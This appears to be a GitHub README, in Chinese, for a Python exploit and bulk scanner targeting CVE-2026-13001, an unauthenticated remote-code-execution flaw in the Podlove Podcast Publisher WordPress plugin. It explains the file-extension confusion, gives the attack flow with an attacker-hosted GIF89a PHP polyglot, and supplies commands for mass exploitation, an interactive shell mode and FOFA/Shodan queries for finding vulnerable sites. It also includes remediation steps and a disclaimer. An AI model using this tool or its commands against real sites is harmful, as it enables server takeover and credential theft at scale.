ghostpels/CVE-2026-13001

GitHub: ghostpels/CVE-2026-13001

针对 WordPress Podlove Podcast Publisher 插件扩展名混淆漏洞(CVE-2026-13001)的 Python 漏洞利用与批量扫描工具。

Stars: 0 | Forks: 0

# CVE-2026-13001 ## Podlove Podcast Publisher <= 4.5.1 — 通过扩展名混淆实现未经身份验证的 RCE ### 概述 [Podlove Podcast Publisher](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/) WordPress 插件(版本 4.5.1 及更低版本)中存在严重漏洞,允许**未经身份验证的攻击者**通过图片缓存功能向服务器上传任意 PHP 文件,从而导致**远程代码执行 (RCE)**。 该漏洞利用了**两个内部函数之间的解析差异**,它们对文件扩展名的解析方式不同: | 函数 | 方法 | 输入: `payload.php?.gif` | 结果 | |---|---|---|---| | `is_image()` | 先 `basename()` 后 `pathinfo()` | `payload.php?.gif` | `.gif` (通过验证) | | `extract_file_extension()` | 先 `parse_url()` 后 `pathinfo()` | `/payload.php` | `.php` (保存至磁盘) | ### 漏洞详情 | 字段 | 值 | |---|---| | **CVE ID** | [CVE-2026-13001](https://nvd.nist.gov/vuln/detail/CVE-2026-13001) | | **CVSS** | 9.8 (严重) | | **CWE** | CWE-20 (不当输入验证) | | **插件** | Podlove Podcast Publisher | | **受影响版本** | 4.5.1 及更低版本 | | **修复版本** | 4.5.2 | | **类型** | 未经身份验证的任意文件上传至 RCE | | **研究员** | Talal Nasraddeen (通过 Wordfence) | | **发布日期** | 2026 年 7 月 14 日 | ### 根本原因分析 该漏洞的存在是因为 Podlove 插件中的两个函数解析**同一个 URL**,但提取出的**文件扩展名**却不同: #### 1. `is_image()` — 验证 (位于 `lib/helper.php`) ``` // Called with: is_image($temp_file, basename($this->source_url)) // basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif" // pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS! ``` 该函数检查: - 通过 `exif_imagetype()` 进行基于内容的检查 - 需要有效的图片头 (GIF89a) - 通过 `wp_check_filetype_and_ext()` 进行 WordPress 文件类型检查 - 扩展名黑名单 (php, php3, php4, php5, phtml, phar 等) 由于 `basename()` 包含了查询字符串,提取出的扩展名显示为 `gif` - 不在黑名单中。 #### 2. `extract_file_extension()` — 文件命名 (位于 `lib/model/image.php`) ``` // parse_url("https://attacker.com/payload.php?.gif") // path = "/payload.php" (query string stripped!) // pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php" ``` 文件在磁盘上保存时使用了 `.php` 扩展名。 ### 攻击流程 ``` 1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php (File starts with GIF89a header but contains PHP code) 2. Exploit appends ?.gif to URL: payload.php?.gif Then hex-encodes the full URL 3. Trigger cache download: GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test 4. Plugin processing: a. Downloads file from attacker URL b. is_image() checks content: GIF89a header detected - PASS c. is_image() checks extension: basename sees "gif" - PASS d. extract_file_extension() uses parse_url path: gets "php" e. File saved as: test_original.php 5. File location: /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php 6. Attacker accesses the file with parameters -> RCE achieved ``` ### 安装说明 ``` git clone https://github.com/ghostpel-sec/CVE-2026-13001.git cd CVE-2026-13001 pip install -r requirements.txt ``` ### 用法 #### 单一目标 ``` python3 exploit.py -u http://target.com \ -s https://yourserver.com/shell_polyglot.gif.php \ --filename test -v ``` #### 批量扫描 ``` python3 exploit.py -f targets.txt \ -s https://yourserver.com/shell_polyglot.gif.php \ -o vuln.txt -t 15 -v ``` #### 交互模式 (直接访问上传的文件) ``` python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php ``` #### 调试模式 ``` python3 exploit.py -u http://target.com \ -s https://yourserver.com/shell_polyglot.gif.php \ --filename test --debug ``` #### 选项 ``` -u, --url Single target URL -f, --file File containing target URLs (one per line) -s, --shell URL hosting the GIF89a PHP polyglot --filename Custom filename for cached file (default: shell) --shell-url Direct URL for interactive mode -o, --output Output file for vulnerable targets (bulk mode) -t, --threads Number of threads (default: 10) -v, --verbose Verbose output --debug Debug output (show all HTTP requests) --no-payload-test Skip payload accessibility test ``` ### Payload: GIF89a PHP Polyglot `shell_polyglot.gif.php` 是一个 **polyglot 文件**,它作为 GIF 图像和 PHP 都是有效的: ``` GIF89a <- Valid GIF header (passes exif_imagetype check) /* <- Start of comment (GIF binary data is commented out for PHP) ``` **重要提示**:此 polyglot 必须作为**静态文件**托管(例如 Cloudflare R2、AWS S3、未启用 PHP 的 nginx)。如果托管服务器执行了 PHP,代码将直接在托管服务器上运行,而不会作为原始内容传递给目标。 ### FOFA / Shodan / ZoomEye ``` # FOFA body="podlove-podcasting-plugin-for-wordpress" # Shodan http.html:"podlove" # ZoomEye app:"Podlove Podcast Publisher" ``` ### 影响 成功利用此漏洞将以 Web 服务器用户的身份导致**远程代码执行**: - 从 wp-config.php 中提取数据库凭据 - 访问所有 WordPress 用户、文章和插件数据 - 部署持久化访问机制 - 横向渗透至内部网络 - 彻底接管服务器 ### 修复建议 1. **升级** Podlove Podcast Publisher 至 **4.5.2** 或更高版本 2. **删除** `wp-content/cache/podlove/` 目录的内容 3. **审计** 服务器缓存目录中的未知 PHP 文件 4. **监控** 访问日志中可疑的 `podlove_image_cache_url` 请求 ### 与 CVE-2025-10147 的关系 此漏洞是针对 CVE-2025-10147 (Podlove <= 4.2.6) **修复方案的一种绕过**。 | 方面 | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) | |---|---|---| | 根本原因 | 完全没有文件类型验证 | 通过扩展名混淆绕过验证 | | 技术 | 直接上传 PHP 文件 | GIF89a polyglot + URL 查询技巧 | | 应用的修复 | 添加了带黑名单的 `is_image()` | 修复了扩展名解析的一致性 | 有关详细比较,请参阅 [analysis/CVE_COMPARISON.md](analysis/CVE_COMPARISON.md)。 ### 参考链接 - [Wordfence 安全公告](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/podlove-podcasting-plugin-for-wordpress/podlove-podcast-publisher-451-unauthenticated-arbitrary-file-upload-via-podlove-image-cache-url-parameter) - [GitHub 修复提交](https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387) - [WordPress 插件页面](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/) - [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-13001) ### 免责声明 **仅供教育和授权测试使用。** 此工具专为安全研究员和渗透测试人员设计,需在获得**明确的书面授权**后方可对目标系统进行测试。未经授权访问计算机系统是违法行为。对于滥用此工具的行为,作者**不承担任何责任**。 ### 作者 **ghostpel-sec** — 安全研究与漏洞利用开发 ### 许可证 本项目基于 [ghostpel-sec 安全研究许可证](LICENSE) 授权。
标签:CISA项目, Web安全, WordPress插件, 文件上传, 编程工具, 蓝队分析, 远程代码执行, 逆向工具